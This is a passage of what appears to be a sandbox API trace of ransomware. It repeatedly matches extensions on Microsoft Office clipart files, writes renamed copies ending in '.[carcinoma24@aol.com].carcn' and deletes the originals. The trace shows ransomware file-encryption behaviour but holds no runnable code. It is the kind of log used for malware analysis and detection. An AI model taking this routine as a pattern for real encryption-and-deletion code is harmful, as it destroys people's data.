(lpString1=".zip", lpString2=".WMF") returned 1 [0302.932] lstrlenW (lpString=".rar") returned 4 [0302.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.932] lstrlenW (lpString=".bz2") returned 4 [0302.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.932] lstrlenW (lpString=".7z") returned 3 [0302.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.932] lstrlenW (lpString=".dbf") returned 4 [0302.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.932] lstrlenW (lpString=".1cd") returned 4 [0302.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.933] lstrlenW (lpString=".jpg") returned 4 [0302.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.933] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.933] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.934] GetLastError () returned 0x0 [0302.934] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2454, lpOverlapped=0x0) returned 1 [0302.935] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2460, lpOverlapped=0x0) returned 1 [0302.936] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.936] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.936] SetEndOfFile (hFile=0x340) returned 1 [0302.936] CloseHandle (hObject=0x340) returned 1 [0302.936] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.936] SetEndOfFile (hFile=0x35c) returned 1 [0302.937] CloseHandle (hObject=0x35c) returned 1 [0302.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0302.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.938] lstrlenW (lpString=".doc") returned 4 [0302.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.938] lstrlenW (lpString=".docx") returned 5 [0302.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.938] lstrlenW (lpString=".pdf") returned 4 [0302.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.938] lstrlenW (lpString=".xls") returned 4 [0302.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.938] lstrlenW (lpString=".xlsx") returned 5 [0302.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.938] lstrlenW (lpString=".ppt") returned 4 [0302.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.938] lstrlenW (lpString=".zip") returned 4 [0302.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.938] lstrlenW (lpString=".rar") returned 4 [0302.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.939] lstrlenW (lpString=".bz2") returned 4 [0302.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.939] lstrlenW (lpString=".7z") returned 3 [0302.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.939] lstrlenW (lpString=".dbf") returned 4 [0302.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.939] lstrlenW (lpString=".1cd") returned 4 [0302.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0302.939] lstrlenW (lpString=".jpg") returned 4 [0302.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.939] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.939] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.940] GetLastError () returned 0x0 [0302.940] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xfc0, lpOverlapped=0x0) returned 1 [0302.941] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0302.942] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.942] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.942] SetEndOfFile (hFile=0x340) returned 1 [0302.942] CloseHandle (hObject=0x340) returned 1 [0302.943] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.943] SetEndOfFile (hFile=0x35c) returned 1 [0302.944] CloseHandle (hObject=0x35c) returned 1 [0302.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0302.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.944] lstrlenW (lpString=".doc") returned 4 [0302.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.945] lstrlenW (lpString=".docx") returned 5 [0302.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.945] lstrlenW (lpString=".pdf") returned 4 [0302.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.945] lstrlenW (lpString=".xls") returned 4 [0302.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.945] lstrlenW (lpString=".xlsx") returned 5 [0302.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.945] lstrlenW (lpString=".ppt") returned 4 [0302.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.945] lstrlenW (lpString=".zip") returned 4 [0302.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.945] lstrlenW (lpString=".rar") returned 4 [0302.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.945] lstrlenW (lpString=".bz2") returned 4 [0302.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.945] lstrlenW (lpString=".7z") returned 3 [0302.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.945] lstrlenW (lpString=".dbf") returned 4 [0302.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.945] lstrlenW (lpString=".1cd") returned 4 [0302.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.945] lstrlenW (lpString=".jpg") returned 4 [0302.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.946] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.946] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.947] GetLastError () returned 0x0 [0302.947] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x10f4, lpOverlapped=0x0) returned 1 [0302.948] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1100, lpOverlapped=0x0) returned 1 [0302.949] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.949] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.949] SetEndOfFile (hFile=0x340) returned 1 [0302.949] CloseHandle (hObject=0x340) returned 1 [0302.949] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.949] SetEndOfFile (hFile=0x35c) returned 1 [0302.950] CloseHandle (hObject=0x35c) returned 1 [0302.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0302.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.951] lstrlenW (lpString=".doc") returned 4 [0302.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.951] lstrlenW (lpString=".docx") returned 5 [0302.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.951] lstrlenW (lpString=".pdf") returned 4 [0302.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.951] lstrlenW (lpString=".xls") returned 4 [0302.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.951] lstrlenW (lpString=".xlsx") returned 5 [0302.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.951] lstrlenW (lpString=".ppt") returned 4 [0302.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.951] lstrlenW (lpString=".zip") returned 4 [0302.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.952] lstrlenW (lpString=".rar") returned 4 [0302.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.952] lstrlenW (lpString=".bz2") returned 4 [0302.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.952] lstrlenW (lpString=".7z") returned 3 [0302.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.952] lstrlenW (lpString=".dbf") returned 4 [0302.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.952] lstrlenW (lpString=".1cd") returned 4 [0302.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0302.952] lstrlenW (lpString=".jpg") returned 4 [0302.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.952] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.952] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.331] GetLastError () returned 0x0 [0303.332] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1bac, lpOverlapped=0x0) returned 1 [0303.332] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0303.334] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.334] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.334] SetEndOfFile (hFile=0x340) returned 1 [0303.334] CloseHandle (hObject=0x340) returned 1 [0303.334] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.334] SetEndOfFile (hFile=0x35c) returned 1 [0303.335] CloseHandle (hObject=0x35c) returned 1 [0303.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0303.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0303.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0303.336] lstrlenW (lpString=".doc") returned 4 [0303.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.336] lstrlenW (lpString=".docx") returned 5 [0303.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.336] lstrlenW (lpString=".pdf") returned 4 [0303.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.336] lstrlenW (lpString=".xls") returned 4 [0303.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.336] lstrlenW (lpString=".xlsx") returned 5 [0303.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.336] lstrlenW (lpString=".ppt") returned 4 [0303.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0303.336] lstrlenW (lpString=".zip") returned 4 [0303.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.337] lstrlenW (lpString=".rar") returned 4 [0303.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.337] lstrlenW (lpString=".bz2") returned 4 [0303.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.337] lstrlenW (lpString=".7z") returned 3 [0303.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0303.337] lstrlenW (lpString=".dbf") returned 4 [0303.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0303.337] lstrlenW (lpString=".1cd") returned 4 [0303.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0303.337] lstrlenW (lpString=".jpg") returned 4 [0303.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.337] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.337] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.338] GetLastError () returned 0x0 [0303.338] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xc0a, lpOverlapped=0x0) returned 1 [0303.339] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xc10, lpOverlapped=0x0) returned 1 [0303.340] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.340] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.340] SetEndOfFile (hFile=0x340) returned 1 [0303.340] CloseHandle (hObject=0x340) returned 1 [0303.340] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.341] SetEndOfFile (hFile=0x35c) returned 1 [0303.341] CloseHandle (hObject=0x35c) returned 1 [0303.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0303.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.342] lstrlenW (lpString=".doc") returned 4 [0303.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.342] lstrlenW (lpString=".docx") returned 5 [0303.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.342] lstrlenW (lpString=".pdf") returned 4 [0303.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.342] lstrlenW (lpString=".xls") returned 4 [0303.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.343] lstrlenW (lpString=".xlsx") returned 5 [0303.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.343] lstrlenW (lpString=".ppt") returned 4 [0303.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.343] lstrlenW (lpString=".zip") returned 4 [0303.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.343] lstrlenW (lpString=".rar") returned 4 [0303.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.343] lstrlenW (lpString=".bz2") returned 4 [0303.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.343] lstrlenW (lpString=".7z") returned 3 [0303.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.343] lstrlenW (lpString=".dbf") returned 4 [0303.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.343] lstrlenW (lpString=".1cd") returned 4 [0303.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.343] lstrlenW (lpString=".jpg") returned 4 [0303.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.343] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.344] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.344] GetLastError () returned 0x0 [0303.344] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, 